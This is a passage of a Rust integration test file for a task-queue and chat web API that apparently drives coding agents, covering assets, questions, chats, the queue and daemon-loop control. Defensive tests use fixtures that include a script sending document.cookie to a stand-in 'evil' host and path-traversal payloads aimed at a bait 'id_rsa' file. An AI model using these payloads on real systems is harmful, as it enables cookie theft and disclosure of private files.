3151 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
3152 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
3153
3154 assert_eq!(as_svg.status, 200);
3155 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
3156 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
3161
3162 assert_eq!(as_png.status, 200);
3163 assert_eq!(as_png.header("content-type"), Some("image/png"));
3164 assert_eq!(
3165 as_png.header("content-disposition"),
3166 None,
3167 "a raster image has no execution surface, so tapping it still shows it"
3168 );
3169 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
3170 }
3171
3172 #[tokio::test]
3173 async fn an_html_asset_is_never_served_as_html() {
3174 let fx = Fixture::start().await;
3175 let id = panel(
3176 &fx,
3177 "<p>see the notes</p>",
3178 &[
3179 (
3180 "notes.html",
3181 b"<script>fetch('http://evil/'+document.cookie)</script>",
3182 ),
3183 ("hook.js", b"fetch('http://evil/')"),
3184 ("data.json", b"{}"),
3185 ("HEADLINE.TXT", b"plain"),
3186 ],
3187 );
3188
3189 for name in ["notes.html", "hook.js", "data.json"] {
3190 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
3191 assert_eq!(res.status, 200, "{name}: {}", res.body);
3192 assert_eq!(
3197 res.header("content-type"),
3198 Some("application/octet-stream"),
3199 "{name} must not be a type the browser will execute or render"
3200 );
3201 }
3202 let txt = fx
3205 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
3206 .await;
3207 assert_eq!(
3208 txt.header("content-type"),
3209 Some("text/plain; charset=utf-8")
3210 );
3211 }
3212
3213 #[tokio::test]
3214 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
3215 let fx = Fixture::start().await;
3216 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
3217 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
3221
3222 for encoded in [
3229 "%2e%2e%2fid_rsa",
3230 "..%2fid_rsa",
3231 "..%5cid_rsa",
3232 "%2e%2e%5cid_rsa",
3233 "diff%00.svg",
3234 "..",
3235 ".hidden",
3236 "%2e%2e%2f%2e%2e%2fid_rsa",
3237 ] {
3238 let res = fx
3239 .get(&format!("/api/questions/{id}/asset/{encoded}"))
3240 .await;
3241 assert_eq!(
3242 res.status, 400,
3243 "`{encoded}` has to be refused by name, not looked up: {}",
3244 res.body
3245 );
3246 assert!(res.json()["error"].is_string(), "{}", res.body);
3247 }
3248
3249 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
3255 let res = fx
3256 .get(&format!("/api/questions/{id}/asset/{literal}"))
3257 .await;
3258 assert_eq!(
3259 res.status, 404,
3260 "`{literal}` must not match the asset route at all: {}",
3261 res.body
3262 );
3263 }
3264 }
3265
3266 #[tokio::test]
3267 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
3268 let fx = Fixture::start().await;
3269 let plain = ask(&fx, "Which backend?", &["SQLite"]);
3270 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
3271
3272 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
3276 assert_eq!(none.status, 404, "{}", none.body);
3277 assert!(none.json()["error"].is_string(), "{}", none.body);
3278 assert_eq!(
3279 fx.head(&format!("/api/questions/{plain}/panel"))
3280 .await
3281 .status,
3282 404,
3283 "the preflight is the only way the client can learn this"
3284 );
3285
3286 let missing = fx
3288 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
3289 .await;
3290 assert_eq!(missing.status, 404, "{}", missing.body);
3291 assert!(missing.json()["error"].is_string(), "{}", missing.body);
3292
3293 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
3295 assert_eq!(
3296 fx.get("/api/questions/nope/asset/diff.svg").await.status,
3297 404
3298 );
3299 }
3300
3301 #[tokio::test]
3302 async fn the_chat_list_is_open_first_and_carries_the_whole_transcript() {
3303 let fx = Fixture::start().await;
3304 assert_eq!(fx.get("/api/health").await.json()["chats_open"], 0);
3305
3306 interview(&fx, "20260903-014455-old1", "filed", Some(&good_draft()));
3307 interview(&fx, "20260903-014456-open", "open", None);
3308
3309 let listed = fx.get("/api/chats").await;
3310 assert_eq!(listed.status, 200, "{}", listed.body);
3311 let chats = listed.json();
3312 assert_eq!(chats.as_array().map(Vec::len), Some(2));
3313 assert_eq!(
3314 chats[0]["id"], "20260903-014456-open",
3315 "an unfinished interview is what the operator came back for: {chats}"
3316 );
3317 assert_eq!(chats[0]["status"], "open");
3318 assert_eq!(chats[0]["turns"][0]["who"], "operator");
3321 assert_eq!(chats[0]["turns"][1]["body"], "Which part is hurting?");
3322 assert_eq!(chats[1]["status"], "filed");
3323
3324 assert_eq!(fx.get("/api/health").await.json()["chats_open"], 1);
3327 }
3328
3329 #[tokio::test]
3330 async fn one_interview_is_readable_by_short_id_and_an_unknown_one_is_a_404() {
3331 let fx = Fixture::start().await;
3332 let id = interview(&fx, "20260903-014455-ab12", "open", None);
3333
3334 let full = fx.get(&format!("/api/chats/{id}")).await;
3335 assert_eq!(full.status, 200, "{}", full.body);
3336 assert_eq!(full.json()["id"], id);
3337 assert_eq!(full.json()["repo"], "/repo/magi");
3338
3339 let short = fx.get("/api/chats/ab12").await;
3341 assert_eq!(short.status, 200, "{}", short.body);
3342 assert_eq!(short.json()["id"], id);
3343
3344 let missing = fx.get("/api/chats/nosuchchat").await;
3345 assert_eq!(missing.status, 404, "{}", missing.body);
3346 assert!(
3347 missing.json()["error"]
3348 .as_str()
3349 .is_some_and(|e| e.contains("chat")),
3350 "the error names what was not found: {}",
3351 missing.body
3352 );
3353 }
3354
3355 #[tokio::test]
3356 async fn filing_a_bad_draft_reports_every_problem_at_once() {
3357 let fx = Fixture::start().await;
3358 let id = interview(&fx, "20260903-014455-ab12", "open", Some("do the thing"));
3359
3360 let res = fx.post(&format!("/api/chats/{id}/file"), None).await;
3361
3362 assert_eq!(res.status, 400, "{}", res.body);
3363 let problems = res.json()["problems"].clone();
3364 let problems = problems.as_array().expect("an array of problems");
3365 assert!(
3370 problems.len() > 1,
3371 "one round trip has to be enough to fix the draft: {}",
3372 res.body
3373 );
3374 assert!(problems.iter().all(|p| p.is_string()), "{}", res.body);
3375 assert!(res.json()["error"].is_string(), "{}", res.body);
3376 assert!(
3377 fx.queue().list().is_empty(),
3378 "a refused draft must not reach the queue"
3379 );
3380
3381 let empty = interview(&fx, "20260903-014456-cd34", "open", None);
3384 let res = fx.post(&format!("/api/chats/{empty}/file"), None).await;
3385 assert_eq!(res.status, 400, "{}", res.body);
3386 assert_eq!(
3387 res.json()["problems"].as_array().map(Vec::len),
3388 Some(1),
3389 "{}",
3390 res.body
3391 );
3392 }
3393
3394 #[tokio::test]
3395 async fn filing_a_good_draft_queues_it_and_answers_with_the_task_id() {
3396 let fx = Fixture::start().await;
3397 let draft = good_draft();
3398 let id = interview(&fx, "20260903-014455-ab12", "open", Some(&draft));
3399
3400 let res = fx.post(&format!("/api/chats/{id}/file"), None).await;
3401
3402 assert_eq!(res.status, 200, "{}", res.body);
3403 let task = res.json()["task"]
3404 .as_str()
3405 .unwrap_or_else(|| panic!("a task id: {}", res.body))
3406 .to_owned();
3407
3408 let queued = fx.queue().get(&task).expect("the task is on disk");
3411 assert_eq!(
3412 queued.instruction, draft,
3413 "the draft reaches the graph verbatim"
3414 );
3415 assert_eq!(queued.repo, PathBuf::from("/repo/magi"));
3416 assert_eq!(
3417 fx.get("/api/queue").await.json()[0]["id"],
3418 task,
3419 "the filed task is the listed one"
3420 );
3421
3422 let after = fx.get(&format!("/api/chats/{id}")).await.json();
3424 assert_eq!(after["task"], task);
3425 assert_eq!(after["status"], "filed");
3426 assert_eq!(fx.get("/api/health").await.json()["chats_open"], 0);
3427 }
3428
3429 #[tokio::test]
3430 async fn a_second_turn_on_a_busy_chat_is_refused_rather_than_interleaved() {
3431 let fx = Fixture::start().await;
3432 let id = interview(&fx, "20260903-014455-ab12", "open", None);
3433 let ui = Ui::new(
3434 fx.queue(),
3435 fx.questions(),
3436 fx.chats(),
3437 fx.runs(),
3438 fx.home.path().to_path_buf(),
3439 PathBuf::from("/repo/magi"),
3440 );
3441
3442 let first = ui.begin_turn(&id).expect("the first turn claims the chat");
3446 let second = ui.begin_turn(&id).expect_err("the second must be refused");
3447 assert_eq!(
3448 second.status,
3449 StatusCode::CONFLICT,
3450 "a double tap on a slow link must not append two half-turns"
3451 );
3452
3453 drop(first);
3457 assert!(
3458 ui.begin_turn(&id).is_ok(),
3459 "the slot has to come back on its own"
3460 );
3461 }
3462
3463 #[tokio::test]
3464 async fn a_turn_with_nothing_in_it_never_reaches_an_agent() {
3465 let fx = Fixture::start().await;
3466 let id = interview(&fx, "20260903-014455-ab12", "open", None);
3467
3468 for body in [r#"{"text":" \n "}"#, r#"{}"#] {
3471 let res = fx.post(&format!("/api/chats/{id}/say"), Some(body)).await;
3472 assert_eq!(res.status, 400, "{body}: {}", res.body);
3473 }
3474 let res = fx.post("/api/chats", Some(r#"{"idea":" "}"#)).await;
3475 assert_eq!(res.status, 400, "{}", res.body);
3476
3477 assert_eq!(
3478 fx.get(&format!("/api/chats/{id}")).await.json()["turns"]
3479 .as_array()
3480 .map(Vec::len),
3481 Some(2),
3482 "nothing above may have appended a turn"
3483 );
3484 }
3485
3486 #[tokio::test]
3487 async fn a_run_with_an_open_question_reads_as_waiting() {
3488 let fx = Fixture::start().await;
3489 let run = "20260902-000000-beef".to_owned();
3490 write_run(&fx.runs(), &run, RunStatus::Implementing);
3491
3492 let before = fx.get("/api/runs").await.json();
3493 assert_eq!(before[0]["waiting"], false, "{before}");
3494
3495 let store = fx.questions();
3496 let mut q = Question::new(
3497 run.clone(),
3498 "implement".to_owned(),
3499 "impl-A".to_owned(),
3500 "Which backend?".to_owned(),
3501 String::new(),
3502 vec!["SQLite".to_owned()],
3503 );
3504 store.put(&mut q).expect("put");
3505
3506 let during = fx.get("/api/runs").await.json();
3507 assert_eq!(during[0]["waiting"], true, "{during}");
3508
3509 q.answer(Answer::Choice("SQLite".to_owned()))
3512 .expect("answer");
3513 store.put(&mut q).expect("put");
3514 let after = fx.get("/api/runs").await.json();
3515 assert_eq!(after[0]["waiting"], false, "{after}");
3516 }
3517
3518 #[tokio::test]
3519 async fn an_open_question_is_listed_and_counted_by_health() {
3520 let fx = Fixture::start().await;
3521 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
3522
3523 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
3524 let listed = fx.get("/api/questions").await.json();
3525 assert_eq!(listed.as_array().expect("array").len(), 1);
3526 assert_eq!(listed[0]["id"], id);
3527 assert_eq!(listed[0]["status"], "open");
3528 assert_eq!(listed[0]["choices"][1], "Redis");
3529 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
3532 }
3533
3534 #[tokio::test]
3535 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
3536 let fx = Fixture::start().await;
3537 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
3538 let path = format!("/api/questions/{id}/answer");
3539
3540 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
3541 assert_eq!(res.status, 200, "{}", res.body);
3542 let body = res.json();
3543 assert_eq!(body["status"], "answered");
3544 assert_eq!(body["answer"]["choice"], "Redis");
3545
3546 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
3550 assert_eq!(again.status, 409, "{}", again.body);
3551 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
3552 }
3553
3554 #[tokio::test]
3555 async fn an_answer_the_question_does_not_offer_is_refused() {
3556 let fx = Fixture::start().await;
3557 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
3558 let path = format!("/api/questions/{id}/answer");
3559
3560 for body in [
3561 r#"{"choice":"Postgres"}"#,
3562 r#"{"text":"whatever you think"}"#,
3563 r#"{"choice":"Redis","text":"both"}"#,
3564 r#"{}"#,
3565 ] {
3566 let res = fx.post(&path, Some(body)).await;
3567 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
3568 assert!(res.json()["error"].is_string(), "{}", res.body);
3569 }
3570 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
3572 }
3573
3574 #[tokio::test]
3575 async fn a_free_text_question_takes_text_and_not_a_choice() {
3576 let fx = Fixture::start().await;
3577 let id = ask(&fx, "What should the flag be called?", &[]);
3578 let path = format!("/api/questions/{id}/answer");
3579
3580 assert_eq!(
3581 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
3582 400
3583 );
3584 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
3585 assert_eq!(res.status, 200, "{}", res.body);
3586 assert_eq!(res.json()["answer"]["text"], "--json");
3587 }
3588
3589 #[tokio::test]
3590 async fn an_unknown_question_is_a_json_404() {
3591 let fx = Fixture::start().await;
3592 let res = fx
3593 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
3594 .await;
3595 assert_eq!(res.status, 404, "{}", res.body);
3596 assert!(res.json()["error"].is_string());
3597 }
3598
3599 #[tokio::test]
3600 async fn a_blank_instruction_is_rejected_and_files_nothing() {
3601 let f = Fixture::start().await;
3602
3603 let res = f
3604 .post("/api/queue", Some(r#"{"instruction":" \n "}"#))
3605 .await;
3606
3607 assert_eq!(res.status, 400);
3608 assert!(
3609 res.json()["error"].as_str().is_some_and(|e| !e.is_empty()),
3610 "a rejection has to say why: {}",
3611 res.body
3612 );
3613 assert!(
3614 f.queue().list().is_empty(),
3615 "a rejected task must not reach the disk"
3616 );
3617 }
3618
3619 #[tokio::test]
3620 async fn a_malformed_body_is_a_bad_request_not_an_unprocessable_entity() {
3621 let f = Fixture::start().await;
3622
3623 let res = f.post("/api/queue", Some("{not json")).await;
3624
3625 assert_eq!(res.status, 400);
3628 }
3629
3630 #[tokio::test]
3631 async fn a_posted_task_is_queued_with_a_title_taken_from_its_instruction() {
3632 let f = Fixture::start().await;
3633
3634 let created = f
3635 .post(
3636 "/api/queue",
3637 Some(
3638 r##"{"instruction":"# Rework the config loader\n\nIt re-reads the file on every lookup"}"##,
3639 ),
3640 )
3641 .await;
3642 assert_eq!(created.status, 201);
3643
3644 let listed = f.get("/api/queue").await;
3645 let tasks = listed.json();
3646 let task = &tasks[0];
3647
3648 assert_eq!(tasks.as_array().map(Vec::len), Some(1));
3649 assert_eq!(task["title"], "Rework the config loader");
3652 assert_eq!(task["source_label"], "human");
3653 assert_eq!(task["status_str"], "queued");
3654 assert_eq!(task["repo"], "/repo/magi", "the server's default repo");
3655 assert_eq!(
3656 task["id"],
3657 created.json()["id"],
3658 "the posted task is the listed one"
3659 );
3660 assert!(
3661 task["instruction"]
3662 .as_str()
3663 .is_some_and(|i| i.starts_with("# Rework the config loader\n\nIt re-reads")),
3664 "the instruction reaches the graph verbatim, markers and all: {}",
3665 task["instruction"]
3666 );
3667 }
3668
3669 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
3671 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
3672 .expect("checkout dir");
3673 }
3674
3675 #[tokio::test]
3676 async fn repos_list_returns_name_and_path_for_every_configured_root() {
3677 let tmp = TempDir::new().expect("tempdir");
3678 let repo = tmp.path().join("repo");
3679 std::fs::create_dir_all(&repo).expect("repo dir");
3680 let root = tmp.path().join("root");
3681 make_checkout(&root, "github.com", "yukimemi", "magi");
3682 std::fs::write(
3683 repo.join("magi.toml"),
3684 format!(
3685 "[repos]\nroots = [{:?}]\n",
3686 root.to_string_lossy().into_owned()
3687 ),
3688 )
3689 .expect("write magi.toml");
3690
3691 let f = Fixture::with_repo(repo).await;
3692 let res = f.get("/api/repos").await;
3693 assert_eq!(res.status, 200, "{}", res.body);
3694 let list = res.json();
3695 let repos = list.as_array().expect("an array");
3696 assert_eq!(repos.len(), 1);
3697 assert_eq!(repos[0]["name"], "yukimemi/magi");
3698 assert!(
3699 repos[0]["path"]
3700 .as_str()
3701 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
3702 "{list}"
3703 );
3704 }
3705
3706 #[tokio::test]
3707 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
3708 let tmp = TempDir::new().expect("tempdir");
3709 let repo = tmp.path().join("repo");
3710 std::fs::create_dir_all(&repo).expect("repo dir");
3711 let root = tmp.path().join("root");
3712 make_checkout(&root, "github.com", "yukimemi", "magi");
3713 std::fs::write(
3714 repo.join("magi.toml"),
3715 format!(
3716 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
3717 root.to_string_lossy().into_owned()
3718 ),
3719 )
3720 .expect("write magi.toml");
3721
3722 let f = Fixture::with_repo(repo).await;
3723 let first = f.get("/api/repos").await;
3724 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
3725
3726 make_checkout(&root, "github.com", "yukimemi", "rvpm");
3729 let second = f.get("/api/repos").await;
3730 assert_eq!(
3731 second.json().as_array().map(Vec::len),
3732 Some(1),
3733 "a fresh cache must not rescan inside the TTL"
3734 );
3735
3736 let refreshed = f.get("/api/repos?refresh=1").await;
3737 assert_eq!(
3738 refreshed.json().as_array().map(Vec::len),
3739 Some(2),
3740 "an explicit refresh must rescan even inside the TTL"
3741 );
3742 }
3743
3744 #[tokio::test]
3745 async fn posting_a_chat_with_an_unknown_from_names_the_id_in_a_4xx() {
3746 let f = Fixture::start().await;
3747 let res = f
3748 .post(
3749 "/api/chats",
3750 Some(r#"{"idea":"same idea, another repo","from":"nosuchchat"}"#),
3751 )
3752 .await;
3753 assert!(res.status >= 400 && res.status < 500, "{}", res.status);
3754 assert!(
3755 res.json()["error"]
3756 .as_str()
3757 .is_some_and(|e| e.contains("nosuchchat")),
3758 "the error names the id that does not exist: {}",
3759 res.body
3760 );
3761 assert!(
3762 f.chats().list().is_empty(),
3763 "a chat must not be created against an unresolvable `from`"
3764 );
3765 }
3766
3767 const MOCK_AGENT_TOML: &str = "[roles]\nplanner = \"mock\"\n\n[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
3784
3785 #[tokio::test]
3786 async fn a_posted_chat_takes_the_given_repo_and_otherwise_keeps_the_servers_own() {
3787 let tmp = TempDir::new().expect("tempdir");
3788 let repo = tmp.path().join("repo");
3789 let other = tmp.path().join("other");
3790 std::fs::create_dir_all(&repo).expect("repo dir");
3791 std::fs::create_dir_all(&other).expect("other repo dir");
3792 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
3796 std::fs::write(other.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
3797
3798 let f = Fixture::with_repo(repo.clone()).await;
3799
3800 let default_res = f
3801 .post("/api/chats", Some(r#"{"idea":"rework the config loader"}"#))
3802 .await;
3803 assert_eq!(default_res.status, 201, "{}", default_res.body);
3804 assert_eq!(
3805 default_res.json()["repo"],
3806 repo.canonicalize().unwrap().display().to_string(),
3807 "omitting `repo` must keep the server's own"
3808 );
3809
3810 let body = format!(
3811 r#"{{"idea":"rework the config loader","repo":{:?}}}"#,
3812 other.to_string_lossy()
3813 );
3814 let explicit_res = f.post("/api/chats", Some(&body)).await;
3815 assert_eq!(explicit_res.status, 201, "{}", explicit_res.body);
3816 assert_eq!(
3817 explicit_res.json()["repo"],
3818 other.canonicalize().unwrap().display().to_string(),
3819 "an explicit `repo` must override the server's own"
3820 );
3821 }
3822
3823 #[tokio::test]
3824 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
3825 let f = Fixture::start().await;
3826 let queue = f.queue();
3827 let mut task = Task::new(
3828 "spent".to_owned(),
3829 "Try again".to_owned(),
3830 PathBuf::from("/repo/magi"),
3831 Source::Human,
3832 );
3833 task.start("20260902-140502-bbbb".to_owned());
3834 task.fail("agent gave up", 9);
3835 queue.put(&mut task).expect("file the task");
3836
3837 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
3838 assert_eq!(held.status, 200);
3839 assert_eq!(held.json()["status_str"], "held");
3840
3841 let released = f
3842 .post(&format!("/api/queue/{}/release", task.id), None)
3843 .await;
3844 assert_eq!(released.status, 200);
3845 assert_eq!(released.json()["status_str"], "queued");
3846 assert_eq!(
3847 released.json()["attempts"],
3848 0,
3849 "release is a real second chance, not an instant re-hold"
3850 );
3851 assert_eq!(
3852 queue.get(&task.id).expect("reload").status,
3853 TaskStatus::Queued,
3854 "the change is on disk, not only in the reply"
3855 );
3856 assert!(
3857 !f.home
3858 .path()
3859 .join("queue")
3860 .join(format!("{}.lock", task.id))
3861 .exists(),
3862 "the claim the mutation took is released again"
3863 );
3864 }
3865
3866 #[tokio::test]
3867 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
3868 let f = Fixture::start().await;
3869 let queue = f.queue();
3870 let mut task = Task::new(
3871 "busy".to_owned(),
3872 "Running right now".to_owned(),
3873 PathBuf::from("/repo/magi"),
3874 Source::Human,
3875 );
3876 queue.put(&mut task).expect("file the task");
3877 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
3878
3879 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
3880
3881 assert_eq!(res.status, 409);
3882 assert_eq!(
3883 queue.get(&task.id).expect("reload").status,
3884 TaskStatus::Queued,
3885 "the refused hold changed nothing"
3886 );
3887 }
3888
3889 #[tokio::test]
3890 async fn unknown_ids_are_json_not_found_on_both_stores() {
3891 let f = Fixture::start().await;
3892
3893 let run = f.get("/api/runs/nosuchrun").await;
3894 let task = f.post("/api/queue/nosuchtask/hold", None).await;
3895
3896 assert_eq!(run.status, 404);
3897 assert_eq!(task.status, 404);
3898 assert!(
3899 run.json()["error"]
3900 .as_str()
3901 .is_some_and(|e| e.contains("run")),
3902 "the error names what was not found: {}",
3903 run.body
3904 );
3905 assert!(
3906 task.json()["error"]
3907 .as_str()
3908 .is_some_and(|e| e.contains("task")),
3909 "the error names what was not found: {}",
3910 task.body
3911 );
3912 }
3913
3914 #[tokio::test]
3915 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
3916 let f = Fixture::start().await;
3917
3918 let missing = f.get("/api/health").await.json();
3919 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
3920
3921 write_daemon(
3922 f.home.path(),
3923 Timestamp::now() - jiff::SignedDuration::from_secs(60),
3924 );
3925 let stale = f.get("/api/health").await.json();
3926 assert_eq!(
3927 stale["daemon"]["running"], false,
3928 "a minute without a heartbeat is a dead daemon, not a busy one"
3929 );
3930 assert!(
3931 stale["daemon"]["stale_for_secs"]
3932 .as_i64()
3933 .is_some_and(|s| s >= 55),
3934 "staleness is reported so the UI can say how long: {stale}"
3935 );
3936
3937 write_daemon(f.home.path(), Timestamp::now());
3938 let fresh = f.get("/api/health").await.json();
3939 assert_eq!(fresh["daemon"]["running"], true);
3940 assert_eq!(fresh["daemon"]["idle"], false);
3941 assert_eq!(fresh["daemon"]["pid"], 4242);
3942 assert_eq!(fresh["daemon"]["completed"], 7);
3943 assert_eq!(fresh["daemon"]["current"]["task"], "20260902-140501-aaaa");
3944 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
3945 }
3946
3947 #[tokio::test]
3948 async fn the_loop_is_not_running_until_something_starts_it() {
3949 let f = Fixture::start().await;
3950
3951 let view = f.get("/api/loop").await.json();
3952 assert_eq!(view["running"], false);
3953 assert_eq!(
3954 view["owned"], false,
3955 "nobody owns a loop that does not exist: {view}"
3956 );
3957 assert_eq!(view["stopping"], false);
3958 assert_eq!(view["last_error"], Value::Null);
3959 assert_eq!(view["daemon"]["running"], false);
3960 assert_eq!(
3961 view["repo"], "/repo/magi",
3962 "the repository a start would use, named before it is started"
3963 );
3964 }
3965
3966 #[tokio::test]
3967 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
3968 let f = Fixture::start().await;
3969
3970 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
3971 assert_eq!(res.status, 200, "{}", res.body);
3972 let view = res.json();
3973 assert_eq!(view["running"], true);
3974 assert_eq!(
3975 view["owned"], true,
3976 "the loop the UI started is the UI's own to stop: {view}"
3977 );
3978 assert_eq!(
3979 view["merge"],
3980 Value::Null,
3981 "no override was given, so each repository's own config decides"
3982 );
3983
3984 let health = f.get("/api/health").await.json();
3988 assert_eq!(health["loop"]["running"], true, "{health}");
3989 assert_eq!(health["loop"]["owned"], true, "{health}");
3990
3991 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
3992 }
3993
3994 #[tokio::test]
3995 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
3996 let f = Fixture::start().await;
3997 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
3998 assert_eq!(first.status, 200, "{}", first.body);
3999
4000 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
4001 assert_eq!(
4002 again.status, 409,
4003 "two loops on one queue race for the same claims: {}",
4004 again.body
4005 );
4006 assert!(
4007 again.json()["error"]
4008 .as_str()
4009 .is_some_and(|e| e.contains("already running the loop")),
4010 "the refusal has to say why: {}",
4011 again.body
4012 );
4013 assert_eq!(
4014 f.get("/api/loop").await.json()["running"],
4015 true,
4016 "and the loop that was already running is untouched by it"
4017 );
4018
4019 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
4020 }
4021
4022 #[tokio::test]
4023 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
4024 let f = Fixture::start().await;
4025 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
4026
4027 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
4028 assert_eq!(
4029 res.status, 200,
4030 "the answer must not wait for the loop: a run in flight is tens of \
4031 minutes and the operator is holding a phone: {}",
4032 res.body
4033 );
4034
4035 let view = settled(&f, |v| v["running"] == false).await;
4036 assert_eq!(view["owned"], false);
4037 assert_eq!(
4038 view["stopping"], false,
4039 "a loop that has stopped is not still stopping: {view}"
4040 );
4041 assert_eq!(
4042 view["last_error"],
4043 Value::Null,
4044 "a loop that was asked to stop did not fail: {view}"
4045 );
4046
4047 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
4050 assert_eq!(twice.status, 200, "{}", twice.body);
4051 }
4052
4053 #[tokio::test]
4054 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
4055 let f = Fixture::start().await;
4056 write_daemon(f.home.path(), Timestamp::now());
4059
4060 let view = f.get("/api/loop").await.json();
4061 assert_eq!(view["running"], false, "not in this process: {view}");
4062 assert_eq!(view["owned"], false, "and not this process's to control");
4063 assert_eq!(
4064 view["daemon"]["running"], true,
4065 "but a loop is alive somewhere, which is what the UI must say"
4066 );
4067 assert_eq!(view["daemon"]["pid"], 4242);
4068
4069 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
4070 let res = f.post("/api/loop", Some(body)).await;
4071 assert_eq!(
4072 res.status, 409,
4073 "neither button may pretend to work on someone else's loop: {}",
4074 res.body
4075 );
4076 assert!(
4077 res.json()["error"]
4078 .as_str()
4079 .is_some_and(|e| e.contains("4242")),
4080 "the refusal has to name the process the operator must go to: {}",
4081 res.body
4082 );
4083 }
4084 assert_eq!(
4085 f.get("/api/loop").await.json()["running"],
4086 false,
4087 "and the refusal started nothing"
4088 );
4089 }
4090
4091 #[tokio::test]
4092 async fn a_stale_status_file_is_not_a_foreign_owner() {
4093 let f = Fixture::start().await;
4094 write_daemon(
4095 f.home.path(),
4096 Timestamp::now() - jiff::SignedDuration::from_secs(60),
4097 );
4098
4099 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
4100 assert_eq!(
4101 res.status, 200,
4102 "a daemon killed a minute ago must not lock the loop out of its \
4103 own home for good: {}",
4104 res.body
4105 );
4106 assert_eq!(res.json()["running"], true);
4107
4108 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
4109 }
4110
4111 #[tokio::test]
4112 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
4113 let f = Fixture::start().await;
4114 let before = f.get("/api/health").await.json()["loop_rev"]
4115 .as_u64()
4116 .expect("a loop revision");
4117
4118 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
4119
4120 let after = f.get("/api/health").await.json()["loop_rev"]
4121 .as_u64()
4122 .expect("a loop revision");
4123 assert!(
4124 after > before,
4125 "the loop is in-process state, so this counter is the only thing \
4126 that tells a second device the first one started it: {before} -> \
4127 {after}"
4128 );
4129
4130 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
4131 }
4132
4133 #[tokio::test]
4134 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
4135 let f = Fixture::with_loop(launch_broken).await;
4136
4137 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
4138 assert_eq!(
4139 res.status, 200,
4140 "starting it is not the failure: {}",
4141 res.body
4142 );
4143
4144 let view = settled(&f, |v| v["last_error"].is_string()).await;
4145 assert_eq!(
4146 view["running"], false,
4147 "a loop that died must not read as running, or the operator has \
4148 nothing to press: {view}"
4149 );
4150 assert_eq!(view["owned"], false);
4151 assert!(
4152 view["last_error"]
4153 .as_str()
4154 .is_some_and(|e| e.contains("read-only file system")),
4155 "the phone is where a loop that died at 3am is visible: {view}"
4156 );
4157
4158 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
4161 assert_eq!(again.status, 200, "{}", again.body);
4162 assert_eq!(
4163 again.json()["last_error"],
4164 Value::Null,
4165 "a fresh start does not keep showing why the last one died"
4166 );
4167 }
4168
4169 #[tokio::test]
4170 async fn a_newer_daemon_status_file_still_renders() {
4171 let f = Fixture::start().await;
4172 std::fs::write(
4175 f.home.path().join("daemon.json"),
